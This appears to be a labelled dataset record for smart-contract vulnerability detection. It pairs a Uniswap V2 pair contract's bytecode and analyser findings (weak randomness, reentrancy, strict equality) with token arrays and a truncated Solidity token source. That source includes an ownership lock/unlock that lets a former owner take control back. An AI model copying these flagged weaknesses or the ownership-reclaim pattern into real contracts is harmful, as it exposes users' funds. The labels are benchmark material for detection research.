00191505060405180910390fd5b611a038a8a613620565b611a0f86868a8a612de0565b8115611a8757611a806008600e9054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff16600860009054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff16612cc890919063ffffffff16565b600b819055505b3373ffffffffffffffffffffffffffffffffffffffff167f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f8585604051808381526020018281526020019250505060405180910390a250505050505050506001600c81905550919050565b60016020528060005260406000206000915090505481565b600b5481565b60046020528060005260406000206000915090505481565b6000806001600c5414611ba3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f556e697377617056323a204c4f434b454400000000000000000000000000000081525060200191505060405180910390fd5b6000600c81905550600080611bb661124f565b50915091506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c8857600080fd5b505afa158015611c9c573d6000803e3d6000fd5b505050506040513d6020811015611cb257600080fd5b8101908080519060200190929190505050905060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d4457600080fd5b505afa158015611d58573d6000803e3d6000fd5b505050506040513d6020811015611d6e57600080fd5b810190808051906020019092919050505090506000600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611dd188886133dd565b905060008054905080611ded8685612cc890919063ffffffff16565b81611df457fe5b049a5080611e0b8585612cc890919063ffffffff16565b81611e1257fe5b04995060008b118015611e25575060008a115b611e7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806139e66028913960400191505060405180910390fd5b611e843084613753565b611e8f878d8d612a7b565b611e9a868d8c612a7b565b8673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611f1757600080fd5b505afa158015611f2b573d6000803e3d6000fd5b505050506040513d6020811015611f4157600080fd5b810190808051906020019092919050505094508573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d6020811015611ffb57600080fd5b8101908080519060200190929190505050935061201a85858b8b612de0565b81156120925761208b6008600e9054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff16600860009054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff16612cc890919063ffffffff16565b600b819055505b8b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d819364968d8d604051808381526020018281526020019250505060405180910390a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b600061215b338484613249565b6001905092915050565b6103e881565b6001600c54146121e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f556e697377617056323a204c4f434b454400000000000000000000000000000081525060200191505060405180910390fd5b6000600c819055506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506123398284612334600860009054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122eb57600080fd5b505afa1580156122ff573d6000803e3d6000fd5b505050506040513d602081101561231557600080fd5b8101908080519060200190929190505050612d5d90919063ffffffff16565b612a7b565b61243981846124346008600e9054906101000a90046dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156123eb57600080fd5b505afa1580156123ff573d6000803e3d6000fd5b505050506040513d602081101561241557600080fd5b8101908080519060200190929190505050612d5d90919063ffffffff16565b612a7b565b50506001600c8190555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b42841015612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f556e697377617056323a2045585049524544000000000000000000000000000081525060200191505060405180910390fd5b60006003547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960001b898989600460008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558a604051602001808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200196505050505050506040516020818303038152906040528051906020012060405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018286868660405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156126da573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561274e57508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6127c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f556e697377617056323a20494e56414c49445f5349474e41545552450000000081525060200191505060405180910390fd5b6127cb89898961315e565b505050505050505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b6001600c5414612873576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f556e697377617056323a204c4f434b454400000000000000000000000000000081525060200191505060405180910390fd5b6000600c81905550612a71600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561291d57600080fd5b505afa158015612931573d6000803e3d6000fd5b505050506040513d602081101561294757600080fd5b8101908080519060200190929190505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156129f757600080fd5b505afa158015612a0b573d6000803e3d6000fd5b505050506040513d6020811015612a2157600080fd5b8101908080519060200190929190505050600860009054906101000a90046dffffffffffffffffffffffffffff166008600e9054906101000a90046dffffffffffffffffffffffffffff16612de0565b6001600c81905550565b600060608473ffffffffffffffffffffffffffffffffffffffff166040518060400160405280601981526020017f7472616e7366657228616464726573732c75696e743235362900000000000000815250805190602001208585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310612ba85780518252602082019150602081019050602083039250612b85565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612c0a576040519150601f19603f3d011682016040523d82523d6000602084013e612c0f565b606091505b5091509150818015612c4f5750600081511480612c4e5750808060200190516020811015612c3c57600080fd5b81019080805190602001909291905050505b5b612cc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f556e697377617056323a205452414e534645525f4641494c454400000000000081525060200191505060405180910390fd5b5050505050565b600080821480612ce55750828283850292508281612ce257fe5b04145b612d57576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284039150811115612dda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6dffffffffffffffffffffffffffff168411158015612e5057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6dffffffffffffffffffffffffffff168311155b612ec2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f556e697377617056323a204f564552464c4f570000000000000000000000000081525060200191505060405180910390fd5b60006401000000004281612ed257fe5b06905060006008601c9054906101000a900463ffffffff168203905060008163ffffffff16118015612f1557506000846dffffffffffffffffffffffffffff1614155b8015612f3257506000836dffffffffffffffffffffffffffff1614155b15613014578063ffffffff16612f7785612f4b8661386d565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1661389890919063ffffffff16565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16026009600082825401925050819055508063ffffffff16612fe584612fb98761386d565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1661389890919063ffffffff16565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1602600a600082825401925050819055505b85600860006101000a8154816dffffffffffffffffffffffffffff02191690836dffffffffffffffffffffffffffff160217905550846008600e6101000a8154816dffffffffffffffffffffffffffff02191690836dffffffffffffffffffffffffffff160217905550816008601c6101000a81548163ffffffff021916908363ffffffff1602179055507f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1600860009054906101000a90046dffffffffffffffffffffffffffff166008600e9054906101000a90046dffffffffffffffffffffffffffff1660405180836dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff168152602001826dffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff1681526020019250505060405180910390a1505050505050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b61329b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561344857600080fd5b505afa15801561345c573d6000803e3d6000fd5b505050506040513d602081101561347257600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141591506000600b54905082156135a4576000811461359f57600061350a613505866dffffffffffffffffffffffffffff16886dffffffffffffffffffffffffffff16612cc890919063ffffffff16565b6135be565b90506000613517836135be565b90508082111561359c57600061354a6135398385612d5d90919063ffffffff16565b600054612cc890919063ffffffff16565b9050600061357483613566600587612cc890919063ffffffff16565b6138f890919063ffffffff16565b9050600081838161358157fe5b0490506000811115613598576135978782613620565b5b5050505b50505b6135b6565b600081146135b5576000600b819055505b5b505092915050565b6000600382111561360d5781905060006001600284816135da57fe5b040190505b81811015613607578091506002818285816135f657fe5b0401816135ff57fe5b0490506135df565b5061361b565b6000821461361a57600190505b5b919050565b613635816000546138f890919063ffffffff16565b60008190555061368d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000818310613749578161374b565b825b905092915050565b6137a581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d5d90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137fd81600054612d5d90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006e010000000000000000000000000000826dffffffffffffffffffffffffffff16029050919050565b6000816dffffffffffffffffffffffffffff167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16816138ef57fe5b04905092915050565b6000828284019150811015613975576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b9291505056fe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158205c1579f92146de6fc2f2bb882e55b31f167e56dbf72d1a60f71a2918590ee7e964736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 6679, 7011, 2050, 2575, 2278, 2692, 27717, 2620, 22407, 19317, 2546, 21926, 2683, 26224, 2692, 2094, 27531, 4783, 2050, 22610, 2487, 2050, 2581, 2575, 10790, 2278, 2546, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5709, 1011, 5709, 1008, 1013, 1013, 1013, 5371, 1024, 8311, 1013, 19706, 1013, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1063, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,379
0x96aeff7faef5eaeb4bcbd40da761e09c8974e4b9
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline 